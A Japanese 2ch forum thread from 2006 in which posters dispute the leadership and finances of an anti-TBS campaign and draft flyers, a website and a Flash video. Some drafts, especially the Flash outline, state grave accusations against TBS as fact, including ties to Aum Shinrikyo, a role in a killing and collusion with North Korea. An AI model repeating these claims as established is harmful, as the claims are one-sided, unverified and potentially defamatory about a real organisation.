【馬謖】
「ばしょく」

[190～228]中国、三国時代の蜀漢(しょっかん)の武将。字(あざな)は幼常。
諸葛亮(しょかつりょう)に重用され、先鋒の総大将に任ぜられたが、
軍令に背いて戦い敗北したので、軍律に従い、亮が涙をふるい処刑したという
「泣いて馬謖を斬る」の故事で知られる。


0507Mr48 ◆Mr480ldsAM 2006/08/31(木) 00:10:59ID:cufzo89P
>>503
やっぱり中継の威力はすごいんだな
そういうなら、具体的にどうやって中継したら良いのか、提案して議論してみればどうよ
何処までやれば隠すべき所が隠せるとかね


0508エージェント・７７４2006/08/31(木) 00:12:32ID:ZSOQG2Hm
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0509エージェント・７７４2006/08/31(木) 00:12:36ID:lt3UtM5F
>>500
大事の前の小事　このことわざ二つ意味があるんと思うんだけど
会に賛同する人は　大事をなそうとするときは、小事にかまってはいられない。
会に疑問的な人は　大事をなすには、小事にも気をつけ油断してはならない。

俺は活動することに反対でも無いし、主義は正論だと思うが
疑問に思ってる人にもう少し配慮が必要だと思う。
0510播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 00:15:37ID:Qd7nB3Eb

鳥取の時から思ってたけど、KN氏個人としての力量は行動力としては抜群だったけど、
今回で明らかになったように、組織的活動での役割分担では、ちと違和感があるんじゃないかな？

ピンで活動するには、うってつけだけど、組織だった足並み揃えての行動は、苦手みたいな。
そこら辺に、温度差を感じています。だから、人事の一新も必要ではと・・・
0511エージェント・７７４2006/08/31(木) 00:17:46ID:+Y2m9sfr
>>507
中継の解像度悪いし適当に距離とって声聞こえるようにする、とか。
文字さえ見えない距離ならいいんじゃない？
0512エージェント・７７４2006/08/31(木) 00:17:53ID:NMBCTEiY
ＫＮはまだ愛されてると言えなくもないｗ面ある
イラネが一番不審がられてるんだがね
0513エージェント・７７４2006/08/31(木) 00:18:46ID:8Q6PGAAB
>>295
鋭いなｗ
0514エージェント・７７４2006/08/31(木) 00:19:03ID:AwmvwGdL
運動家に聞きたいんだけどさ。
このデモはどうなれば終わりなん？
署名が集まればそれでいいけど、どうやっても無理って言う基準はあるの？
どれだけやれば「諦め」の感情が芽生えるん？
0515Mr48 ◆Mr480ldsAM 2006/08/31(木) 00:19:27ID:cufzo89P
>>509
>>510
なるほど、私の発言も足を引っ張る事になるかもですね
0516エージェント・７７４2006/08/31(木) 00:19:33ID:voxPesXK
>>510
人事の一新もいいかもしれないけど、その前に
スレに出てきて質問に答えてほしい。
このオフスレじゃなくヲチスレでもいいよ。
0517穴埋男2006/08/31(木) 00:21:59ID:YPbQgNDm
>>502
>大切なことは、カンパした人達とか、署名参加した人達との人間関係の修復、
>その信頼と信用が、大きく失墜したから、それを如何にして回復すれば良いのか？

んー、元々約2名のやり方には反発してる人も多かったんだから、
約2名の発言力が低下した機会とらえて、
別なやり方に主軸を移す好機と建設的捉え方は出来んもんかな？
災い転じて何とやらで。

失墜したのは約2名とそのやり方だけで、
巻き添え喰ったと同情されるコテも多いんだろ？？
署名やデモは今後やりにくいだろうが、
そういう戦術が必須な戦略で動いて来たわけでもないんだから・・・
0518エージェント・７７４2006/08/31(木) 00:22:43ID:3hCBxxUM
楽天のおかげでＴＢＳは救われそうだね
予想通りでﾜﾛｽww
0519エージェント・７７４2006/08/31(木) 00:23:42ID:2Ddx/0F8
>>517
人材いるの？
0520エージェント・７７４2006/08/31(木) 00:25:17ID:eBVoOKHk
>>434
私は産経新聞もフジテレビの番組は面白いし、他のテレビ局の番組も面白いと思ってる。

だがあなたは特定のテレビ局を目の敵にしているわけだ。
0521エージェント・７７４2006/08/31(木) 00:27:23ID:6bM/7yjs
>>520
それはTBSが目の敵にされるような事を繰り返すからだろ
0522エージェント・７７４2006/08/31(木) 00:28:15ID:wnYdH8T2
偏向報道や番組内の捏造を訴えて行くのもアリだったかもな。
暗にTBSを匂わせる形で。その方が一般の人も興味そそられたかも
それにメディア全体に訴えるって言う形になるし
0523穴埋男2006/08/31(木) 00:28:51ID:YPbQgNDm
>>519　人材いるの？

前から言ってるつもりだが、
表に出る人材、先頭に立つ人材、
そういったリーダーシップ執る者を狙い撃ちして世論操作する敵の戦略に、
対抗するには、リーダーシップに頼った反撃戦略では勝ち目が薄い。

リーダーシップも人材もはっきりしないままナアナアで何故か勝つような、
そんな戦略を持てなければ、敵の想定の範囲内の反撃にしかならないよ？
0524エージェント・７７４2006/08/31(木) 00:31:40ID:Un283qUs
＞リーダーシップも人材もはっきりしないままナアナアで何故か勝つ

ﾜｰﾜｰサッカーの理論をこんな所で見るとはおもわなんだ。
0525エージェント・７７４2006/08/31(木) 00:31:48ID:wnYdH8T2
>>522
追加レス
メディア全体に訴えかけるならネタは増えるし、息の長い運動になるよ。
その一環としてTBSの不祥事を訴えればどうだろうか
0526エージェント・７７４2006/08/31(木) 00:33:26ID:eP4DGdIE
340 名前：エージェント・７７４[] 投稿日：2006/08/30(水) 21:30:07 ID:wDNtp34v
なんか追加きたから

【ビラの再考】
１．署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
２．放送免許剥奪の一文はなくす（実現性がないから）
３．偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
４．「捏造した事実」を徹底周知（事実だから）
５．TBSにリーチが掛かっていることも掲載（これも事実ね）
６．朝鮮やオウムとの関係はおまけ程度に記載（これも事実だから）
７．杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」（リクエストあったから）
８．問題発生時は署名活動に発展することを示唆

-掲載記事リクエスト-
・杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」


【公式サイト立ち上げ】
１．一般向けで２ｃｈ色が薄い（無いほうがいい）もの
２．ビラの内容を詳しく紹介
３．携帯サイトなんてあってもいいかな
４．サイトのURLはビラに記載
５．配布用ビラPDF記載
６．質問はメールにて（逐次Q&Aにて返答）
７．署名活動に発展することを示唆
８．TBSや総務省へのクレーム窓口一覧を掲載
９．FLASHなんかあればいい（金がかかるならパス）

せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって
まとまったら２ｃｈから出るべきだね

OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で
あとは他の板でやったほうがいい


300 名前：エージェント・７７４[sage] 投稿日：2006/08/30(水) 21:00:48 ID:R68eeP4c
>>271
＞・偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
いや、これは必要。事実をそのまま伝えるべきところを歪めているのが問題
他のマスコミがやってても全然言い訳にならない
取り敢えず今はTBSがターゲットという話

その他に杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」も乗せて欲しい

公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい

って案ですよ
追加はご自由に
0527エージェント・７７４2006/08/31(木) 00:33:52ID:eBVoOKHk
>>521
では産経新聞が偏向報道したらあなた方は同じように運動するのですか？
おそらくしないでしょうね。
このスレはそういう偏った思想を持った人々の運動ですよ。
0528エージェント・７７４2006/08/31(木) 00:34:11ID:QHu2oX6P
ただ言えるのは、明らかに人権擁護法反対スレも痛い団体の子飼いかな？と思わせてしまえる綻びが出てきたことじゃね。
0529エージェント・７７４2006/08/31(木) 00:34:28ID:vCr7CC0V
>>510
ＫＮ追い出しておまえがリーダーになりたいの？
0530エージェント・７７４2006/08/31(木) 00:34:45ID:lt3UtM5F
>>510
俺は名無しで無責任男なんですが、コテを名乗り金銭管理、署名、デモの担当ならば
発言は慎重にするべきであり、疑問者に関して煽ってる人には注意を促す配慮を
するべきだと思ってました。排他運動をしているわけですからすべてを敵にすれば
賛同してる人も懐疑派になってしまう。馴れ合いでは無いですがどこかで折り合い
をつけながらプロｚェクトを進めれば違った形になったかもしれませんね。
0531エージェント・７７４2006/08/31(木) 00:35:39ID:y6IEq1Nd
ＫＮ氏が最初から鳥取オフの件で自らの非を認めて釈明し、
右翼が参加を打診してきた時に、このスレに参加の是非を諮っておけば、
現在のような混乱は生じなかったよね。

このオフスレで「通帳うｐしろ」という話が出てくるのも
ＫＮ氏の件があって会計に対する不信が高まったからだし。

皆が運営を信頼しないのは当然といえば当然の状況なんだから、
質問とか疑惑が寄せられた場合は誠意を持って答えたほうがいいよね。

イラネさんの発言って、挑発的なところがあるから直したほうがいいと思うな(はぁと
0532エージェント・７７４2006/08/31(木) 00:36:25ID:NQZ/xVXz
>>527こういうのは何がしたいんだろうなｗ
0533播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 00:38:44ID:Qd7nB3Eb
>>512
>ＫＮはまだ愛されてると言えなくもないｗ面ある
>イラネが一番不審がられてるんだがね

明治維新の赤報隊　相楽総三とまでは言いませんが、やはり　今後を考えれば、
今のところ　2人しかいないので、ドチラが重要か？ と言われれば、
ｲﾗﾈ氏しかないと思います。

この運動を潰さず、今後とも継続させる意味でも、やや人気面では落ちますが、
組織運営能力から見れば、事務能力のあるｲﾗﾈ氏になると言うのが個人的な考えです。

KN氏が、今の段階で表舞台に出て来ないのは、騒ぎが収拾できなくなる恐れがあるからでしょう。
それほど、KN人気はあると思います。

でも、ｲﾗﾈ氏が降りてしまい、KN氏が組織を束ね　運営する　そのイメージが、残念ながら湧きません。
仮にKN氏が残ったとして、また何かあれば、それこそすべて台無しになる、そんな危惧を抱きます。

今は、この運動の灯を消さず、維持継続し続け、失った信頼と信用を取り戻すことが最も大切で、
それには地味ですが、確実な選択しかないと思います。
0534エージェント・７７４2006/08/31(木) 00:39:21ID:HP6iuQgX
実際、ネラー好みのネタオフ路線でやってれば、少々の使途不明金があっても
みんなヌルーするだろ？
0535エージェント・７７４2006/08/31(木) 00:41:45ID:NQZ/xVXz
>>533
いやもうセットでダメじゃないかな、これから先デモやるにしても
署名とカンパは集まらないよ　この２人では
0536エージェント・７７４2006/08/31(木) 00:42:10ID:8Q6PGAAB
俺は詐欺とかじゃなくて会計の杜撰さの程度に興味があったので茶々を入れてたのだが、
今日のイラネの答弁を見ると街宣車の件のスルーっぷりがまあよく目立つこと。
レンタル云々はゲスの勘ぐりかと思っていたが、ひょっとすると案外ゲスでもなかったりしてｗ
0537エージェント・７７４2006/08/31(木) 00:46:12ID:8ILe3/l8
>>533
おまいならどうした？
0538エージェント・７７４2006/08/31(木) 00:46:25ID:6bM/7yjs
>>527
いや、酷かったら当然抗議したい
現在はTBSが特に酷いというだけ
0539エージェント・７７４2006/08/31(木) 00:46:29ID:ZSOQG2Hm
いや、2人じゃないと大きな規模ではできないよ。
実名晒してバックアップできる
経験を持った人他に居ないし。これからもいらねさんと
ＫＮさんでやっていけばいいと思う。
0540うめo2006/08/31(木) 00:47:28ID:YPbQgNDm
>>533
組織じゃないのが強みと思ってたが？
0541エージェント・７７４2006/08/31(木) 00:50:21ID:ZSOQG2Hm
しかし大きな事を運営していく上でリーダー責任者を決めるのは重要ですよ
これからもイラネ氏には頑張っていただきたい。
0542エージェント・７７４2006/08/31(木) 00:50:49ID:HP6iuQgX
これまで名乗りを揚げた人がいなかっただけで、今後の活動を切り盛り
出来るひとが出てくればそれにこしたことはない。
彼らより上手く出来る自信があれば申し出ればいい。
0543エージェント・７７４2006/08/31(木) 00:50:51ID:wnYdH8T2
デモや署名にこだわらなければあの二人じゃなくても出来ると思うよ。
0544エージェント・７７４2006/08/31(木) 00:51:32ID:NQZ/xVXz
>>540
現状を見る限りＫＮとイラネを中心に他コテのイエスマンだけの組織になってるが
0545エージェント・７７４2006/08/31(木) 00:54:47ID:zudsTviW
>>533
事務能力といいますが、会計レベルでの事務能力、公正な判断能力が皆無に
等しいことをお忘れなきよう。

>>539
少なくとも会計だけは別の人がやらないことには機能しないでしょう。

利用した業者の領収書すら見せられず、この期に及んでも、街宣車の件で
あのような逃げ回る態度をとっているのを不審にも思わないのでしょうか？

私には、何かしらの不適切な行いがあったとしか思えませんが。
0546エージェント・７７４2006/08/31(木) 00:55:12ID:HP6iuQgX
現状の活動がつまらないというだけならそれも意見だが、
それを面白くできるというなら、その方法を示して欲しい
0547エージェント・７７４2006/08/31(木) 00:55:35ID:6bM/7yjs
>>543
そうだね
人権擁護法案の方もあるだろうし、
こっちはこっちで二人にばかり負担かけない方法摸索していかないと
0548播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 00:56:59ID:Qd7nB3Eb

現実問題とて、リーダーは2人です。
そのドチラかが、この騒ぎの「結果責任」を執るべきと思います。
もう、それしか方法がない。

ｲﾗﾈ氏への不満とか疑惑が残っているとしても、それ以上にKN氏への「疑惑」もあると思います。
去年の鳥取の時、運営方針のチョットした違いで、結果としてｲﾗﾈ氏が降りたと思っています。
降りたと言うより、ｲﾗﾈ氏はほとんど自腹で裏方に周りを地味な仕事をされていました。

そのような経緯があり、KN氏への個人的なわだかまりはありました。ついに去年の暮れに、
あのような　とても納得できないKN氏の反論、と言うより罵倒を受けました。
それについて、何一つ反論は差し控えました、時が時でしたから。

ですから、今のKN氏の表舞台に出て来ない態度とか、ｲﾗﾈ氏の真摯な対応のお気持ちも、
なんとなく分かります。これは勝手な推測ですが。

どんなに行動力があっても、リーダーとしての器量と能力は、また別と思います。
もし、御不満なら、熱狂的支持者とともに、別動体を構成され活動されることを、望みます。

それこそが、この運動全体のためになると、お考え下さい。
0549エージェント・７７４2006/08/31(木) 00:58:58ID:zudsTviW
>>548
抽象論ばかりでは埒が明かないのでは。
「結果責任」の結果と責任はそれぞれ何を指すものですか？
それすら明確にしないで、KN氏の首を切れば、それこそトカゲの尻尾切りで
問題の所在をうやむやにするだけです。
0550エージェント・７７４2006/08/31(木) 00:59:56ID:S2TG0MoT
もうこの際はリーダー変えるべきやね
0551穴うめお2006/08/31(木) 01:00:06ID:YPbQgNDm
だから、リーダーシップも人材もはっきりしないまま
ナアナアで何故か勝つような、そんな戦略を持てって。
0552エージェント・７７４2006/08/31(木) 01:00:12ID:HP6iuQgX
>549
二人とも首チョンパ？(ﾟ∀ﾟ)
0553エージェント・７７４2006/08/31(木) 01:00:18ID:NMBCTEiY
いや俺は捏造報道批判以外の主張には賛同できないところが多々あるし
同時に主張・目的関係なくこうした活動そのものに否定的なんだがｗ
>>533

それはおいといて運動の維持継続をはかるなら、
どっちか切ってもうまくやらなきゃ尻尾切りだし、
いや両方が引っ込んでもうまくやらなきゃ逃げた、無責任などと結局批判になりうる。
他に人材もいないというし、信頼を取り戻すなら譲歩に譲歩を重ねるしかないだろ。まずは。

運営側にもそれなりの理屈はあるだろう。でも別の立場からは別の理屈がある。
信用を得ようとするなら、その相手は敵じゃない。自分側の主張をしても意味がない。
まずは相手の立場からやりなおさないと、信用というのは得れない。
信用するしないを決めるのは相手側、相手の持っている筋にどれだけあってるかだ。
どこまでそれができるか、どれだけ賛同者を得れるかだよ。
0554エージェント・７７４2006/08/31(木) 01:00:37ID:8ILe3/l8
>>551
どんなだよそれｗｗｗｗ
0555エージェント・７７４2006/08/31(木) 01:01:29ID:S2TG0MoT
>>551
いや、藻舞がリーダーやればええやん。
0556エージェント・７７４2006/08/31(木) 01:02:49ID:NMBCTEiY
ついでにこうしたことが必要な「運動」は、オフの枠を超えてると思うがね。
0557エージェント・７７４2006/08/31(木) 01:02:52ID:y6IEq1Nd
>>547
＞こっちはこっちで二人にばかり負担かけない方法摸索していかないと
ＫＮ氏とイラネさんのお二人が自分達で次々にオフを立ち上げただけなので、
そこまで気を使う必要は無いと思いますよ。

人権擁護法のほうは人が足りていますから、
富田メモオフやＴＢＳオフに精力を傾けたほうが良いのではないでしょうか？

現状でお二人が人権擁護法に戻ったとしても、
関連スレが荒れるだけですしね。
0558エージェント・７７４2006/08/31(木) 01:03:09ID:nDAcI9PA
横ﾚｽｽﾏｿ
みんながＫＮとｲﾗﾈを信任てないのはわかった。
でも、キリをつけるまでは活動続けないといけない訳じゃん？
それでも、リーダーが必要なんでしょ？

だったら皆で選挙してリーダー決めようぜ。　どうせ誰も立候補しないから推薦式でさ
0559エージェント・７７４2006/08/31(木) 01:04:24ID:S2TG0MoT
>>558
それ賛成。
0560エージェント・７７４2006/08/31(木) 01:04:49ID:NQZ/xVXz
カンパを個人ではなく団体で管理するようにすればいいじゃない
それなら首切るのも簡単でしょう
0561エージェント・７７４2006/08/31(木) 01:05:19ID:eP4DGdIE
連投すまん。少しまとめた。
叩き台としては良いんでない？

■今後の課題■

【ビラの再考】
１．署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
２．放送免許剥奪の一文はなくす（実現性がないから）
３．偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
４．「捏造した事実」を徹底周知（事実だから）
５．TBSにリーチが掛かっていることも掲載（これも事実ね）
６．朝鮮やオウムとの関係はおまけ程度に記載（これも事実だから）
７．杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」（リクエストあったから）
８．問題発生時は署名活動に発展することを示唆


【公式サイト立ち上げ】
１．一般向けで２ｃｈ色が薄い（無いほうがいい）もの
２．ビラの内容を詳しく紹介
３．携帯サイトなんてあってもいいかな
４．サイトのURLはビラに記載
５．配布用ビラPDF記載
６．質問はメールにて（逐次Q&Aにて返答）
７．署名活動に発展することを示唆
８．TBSや総務省へのクレーム窓口一覧を掲載
９．FLASHなんかあればいい（金がかかるならパス）


-意見＆リクエスト-
・ビラに杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」を入れてくれ
・「偏向云々をなくす」・・・むしろあった方がいい（マスメディアに対する威嚇の意味で）
・せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって、まとまったら２ｃｈから出るべきだね
・OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で、あとは他の板でやったほうがいい
・公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい
・カンパは募るな。どうしても必要なら収支を明瞭にしろ。
・
・


Q１：ビラの印刷をどうするか？業者発注だと金かかるよ？
Q2：
Q3：



追加はご自由に。
0562エージェント・７７４2006/08/31(木) 01:05:28ID:zudsTviW
>>558
リーダーというよりも、スレの話し合いをまとめるだけの議長と、
それを告知する係りがいれば、あとは募金なしの手弁当OFF会
ができるのではないでしょうか。
0563エージェント・７７４2006/08/31(木) 01:05:40ID:lt3UtM5F
>>548
それはKNにすべて責任を押し付けｲﾗﾈは温存したいという
あなたの主張はわかりますが鳥取とTBSは全く違う運動ですよ。

長文がお得意なことだと思いますがもう少しわかりやすく
ｲﾗﾈ氏が必要なわけを教えてもらいます。
0564エージェント・７７４2006/08/31(木) 01:06:03ID:Uc1P2aL5
ＫＮとｲﾗﾈ両氏不信任で確定？
0565エージェント・７７４2006/08/31(木) 01:06:14ID:utZZraQG
>>558
賛成！

俺は穴埋めさんを推薦します！
もうイラネの時代じゃない。ＫＮは論外。
0566播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 01:06:18ID:Qd7nB3Eb

・泣いて馬謖を斬る
・明治維新　赤報隊　相楽総三

ここら辺を御参考にして下さい。
それでも　まだお分かりになられないと言われるのでしたら、
大変申し訳ないですが、






　







　　　　　　　　・・・半年ROM　お願いします。

寝よ。オヤスミ
0567エージェント・７７４2006/08/31(木) 01:07:03ID:wnYdH8T2
>>558
そりゃそうだが、この先この運動の目的や具体的な内容を決めないと
リーダーになった人が大変だと思うけど。
それに新任リーダーも得て不得手もあるだろうし。
0568エージェント・７７４2006/08/31(木) 01:07:15ID:zudsTviW
>>566
抽象論ばかりで核心部分はうやむやなのは、ｲﾗﾈ氏と同じですね。
0569エージェント・７７４2006/08/31(木) 01:07:37ID:ZSOQG2Hm
播州赤穂47士のレスはミクシ向きだ。
0570エージェント・７７４2006/08/31(木) 01:07:37ID:S2TG0MoT
>>565

洩れも穴埋めさん・・・かな。現状では。
同じくＫＮは論外の方向で。
0571エージェント・７７４2006/08/31(木) 01:07:37ID:20OzmmZV
赤報隊は捏造新聞社の自作自演
0572エージェント・７７４2006/08/31(木) 01:08:02ID:6bM/7yjs
1)個人で出来る活動
メール凸
電話凸
ポスティング（人権法ＯＦＦの各地のスレに協力してもらえないか？）
【全国】TBS告発ビラをポスティングするOFF【個人】
http://off3.2ch.net/test/read.cgi/offmatrix/1154993958/l50

2)現在進行形の活動
署名
ビラ配り
街宣
デモ
シンポジウム？

3)未検討の活動案
Flash作成
公開質問状
有力議員へのアプローチ
マスコミへの働きかけ
サイトつくって日々監視
路上署名活動
既存団体との共闘
ポケットティッシュを作る

65 ：エージェント・７７４：2006/08/25(金) 04:46:56 ID:65rYk1B0
参考までにポケットティッシュ関連のサイトです。
勝手にググりました。

http://www.star-click.ne.jp/e-poket/

http://www.pamphnet.com/tissue/

http://www.pt-honpo.com/

606 ：エージェント・７７４：2006/08/23(水) 23:21:19 ID:zbDSsioy
すでにポケティ100個ほど都内＆千葉の駅のトイレにうっかり忘れてきた俺がきましたよｗｗ
のまねこ祭の余りのポケティがあと2200個ぐらいあるｗｗｗｗ

624 ：エージェント・７７４：2006/08/23(水) 23:35:23 ID:zbDSsioy
確か3000個発注して2色だったから4万ぐらいだったかな・・・
もっと安い店もあるかもしれないけど納期が一番早い店に頼んだからちょっと高めかも・・

652 ：エージェント・７７４：2006/08/23(水) 23:49:36 ID:zbDSsioy
消費者金融とかがガンガン配ってるのはものすごい大量発注してるから。
ポケティ製作会社のサイトの値段表だと
3000個だと1個あたり9.2円
30000個だと1個あたり5.4円
0573うめお2006/08/31(木) 01:08:20ID:YPbQgNDm
カネかかる事するから
カンパが必要になり揉めたり口撃されるんで、
カネかかる街宣とかの戦術とらなければいいんで
ないのか？

>>565
アホ！リーダー無しにしようと言ってる人間がリーダーになるか！！
0574エージェント・７７４2006/08/31(木) 01:09:02ID:6bM/7yjs
ご意見募集中！ 【Flash案】

最初に
「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘で汚染されてるとしたら、あなたはどうしますか？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向、無責任”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0575エージェント・７７４2006/08/31(木) 01:09:29ID:nDAcI9PA
>>565
穴埋め氏か、、　　洞察力は合格ラインだな、
あとはまとめる力さえあれば今のまとめ２人なんてｶｽ以下だな。
0576エージェント・７７４2006/08/31(木) 01:09:39ID:y6IEq1Nd
ＫＮ、イラネ両氏が責任者となって署名を集めているので、
今、リーダーを交代してしまうとややこしくなりませんか？
0577エージェント・７７４2006/08/31(木) 01:10:07ID:BuOoKpsF
団体はいやだがリーダーは必要てのもわからん
0578エージェント・７７４2006/08/31(木) 01:10:33ID:8Q6PGAAB
今後、新たな運動にイラネＫＮが顔を出した時の周囲の反応を想像すると、小生ﾆﾔﾆﾔが止まりませんｗ
0579エージェント・７７４2006/08/31(木) 01:10:49ID:/3203ubg
>>565
ええーーーー？？？
穴埋めさんってなんか言ってること抽象的でなんかなーーーー・・・

晩秋赤穂４７士さんのほうが提案が具体的で良くない？
私は４７士さんにリーダーになってほしい。
0580エージェント・７７４2006/08/31(木) 01:11:01ID:6bM/7yjs
とりあえずFlashの話進めようよ
0581エージェント・７７４2006/08/31(木) 01:12:32ID:+Y2m9sfr
>>577
署名集めるのに実名すらのせてない署名サイトあっても誰も署名しないだろ


個人的にはだらだら続けるんじゃなくて
TBSが何かやっちまった度に立ち上がればいいと思う。

0.1％くらいの自浄作用にも期待して。
0582エージェント・７７４2006/08/31(木) 01:12:33ID:KYpD/y8v
>>573

穴埋めさんには失望しますた
0583うめ2006/08/31(木) 01:12:52ID:YPbQgNDm
>>575
煽るな！！！
>>579
そーだろ、そーなんだよ、そーゆーことでｗ
0584エージェント・７７４2006/08/31(木) 01:12:57ID:HP6iuQgX
マジレスしていい？
　
そもそもネタオフとは有象無象が突発的に集合して、世間の予想もつかない
行動で世間をアッと言わせるところに意義があって、
実名の特定のリーダーに責任を負わせるものではなかったのでは無いか。
　
2chである社会問題に注目した椰子が手っ取り早くネタオフで対抗行動を
起こした。しかしネタオフの主旨と合致せず煙たがられ、排斥されつつある。
なんかニュース速報に嫌われてるっぽいが。
0585エージェント・７７４2006/08/31(木) 01:13:10ID:eP4DGdIE
もう寝ちゃったかな？

俺も４７士になって欲しいな。
責任者じゃなくてリーダーね。
0586エージェント・７７４2006/08/31(木) 01:13:15ID:ZqX3DDCF
あーだこーだと理屈をつけて2人をきりたいのか
0587エージェント・７７４2006/08/31(木) 01:13:45ID:zudsTviW
>>576
お金をかけない方向で、地道な活動をするのであれば、署名を締めて、
総務省に提出すればよいだけではないかと。
実際問題、一番盛り上がっている時期にお金と人員を投入して活動をしたにも
かからわず1万4000人分ということは、よほどのことが無い限り、この先2万も3万
も上積みできるものではありません。
問題の風化は既にはじまっているので、署名路線は予算を10倍増しとかに
できないのであれば、虚しい結果が待っているような気がします。
0588エージェント・７７４2006/08/31(木) 01:14:01ID:nDAcI9PA
いや、ちょっと考えてみたんだけど。

全体を見て行動する事が出来るという点ではタヌキ氏も捨てがたいか、、
彼のクールな行動にはたまに肝を冷やすが、
信頼度はピカ一じゃないか？
0589エージェント・７７４2006/08/31(木) 01:14:07ID:wnYdH8T2
金のかからない、面白みのある、
誰でも気軽に（個人・不特定多数問わず）参加できて政治色がないようなものを
考えていけば自ずとリーダー問題は解決できそう。
誰かを立てる事を一旦考えるのはおいてみてもいいかも
0590エージェント・７７４2006/08/31(木) 01:16:30ID:6bM/7yjs
そういやν速の方の活動は何やってんの？

>>581
オフは署名でいったん打ち切って、ネット上で周知活動や監視をしていくべきだと思う
で、何かあったらオフですぐに行動できるようにすると言うのが理想
0591エージェント・７７４2006/08/31(木) 01:16:34ID:Uc1P2aL5
新たなリーダー＝慣れてる人＝プロ風味
なんじゃないのか結局
0592エージェント・７７４2006/08/31(木) 01:19:52ID:lt3UtM5F
・泣いて馬謖を斬る

斜め上からだな　自分は諸葛孔明のつもりか　　　　
0593エージェント・７７４2006/08/31(木) 01:20:37ID:8Q6PGAAB
実名晒して神輿になるよ、責任被るよってのが現在イラネとＫＮしかいないのも事実。
この巨大な２ちゃんねるでたった二人しかいない。そう考えると不思議だ。
0594うめ2006/08/31(木) 01:21:46ID:YPbQgNDm
そういう奴はふつー
政治家になるから
ねらーにはならんのでは？
0595エージェント・７７４2006/08/31(木) 01:21:48ID:fPR00dkf
>>588
確かにタヌ公は面白くていい奴だよ。学生っぽいけど。
0596エージェント・７７４2006/08/31(木) 01:22:23ID:LeGmLiVd
代表と実働部隊分離は（・∀・）ｲｲ!!けど、
きちんと支えて（実行）くれる実働部隊がいないと、議長の負担が大きい
KN、(ﾟ⊿ﾟ)ｲﾗﾈ両氏及び、運営コテが反省して、最後まできちんとやってくれればいいけど、
責任とって支えてくれる事無く、そのままいなくなる可能性大
0597エージェント・７７４2006/08/31(木) 01:22:26ID:y6IEq1Nd
>>587
2万人分に達する見込みもほぼ無いですからねぇ。

1万4000人くらいまではスムーズに署名が集まったのに、
急に伸びなくなったのはどうしてなんでしょうかね？

このスレのゴタゴタを見て署名をやめた人もいたでしょうが、
それだけではないような気も…。
0598エージェント・７７４2006/08/31(木) 01:22:27ID:qZBcglLr
その前にKNとイラネが最期キレイに今回のオフを〆てからで良いと思う。
今後の行動は随時提案していく方向でいいけどさ。決めるのはその後で良くない？
0599エージェント・７７４2006/08/31(木) 01:22:29ID:9kQdb+4+
>>593
ほんと不思議だ、なぜこうも挑発的な態度なんだろうか･･･
0600エージェント・７７４2006/08/31(木) 01:24:53ID:3U0s5U8c
>>584
その通りだと思う。
署名をしてくれるはずの一般人からも引かれてどーすんだよって状態だもんな。
PR手段が他に無いというなら兎も角、目的がオフなオフなんて意味無いよ。
0601エージェント・７７４2006/08/31(木) 01:25:50ID:zudsTviW
>>592
一般人に理解しがたい言葉で抽象論を唱えて、その真意を問われると、
故事を知らない者が愚かであるといった態度に出る人は、事務的なリーダーはともかく
人集めには向かないでしょうね…。
KN氏もｲﾗﾈ氏も、肝心な質問には抽象論で煙に巻くという態度が不信感を増大
させたわけですし。
0602エージェント・７７４2006/08/31(木) 01:27:57ID:6bM/7yjs
ご意見募集中！ 【Flash案】

最初に
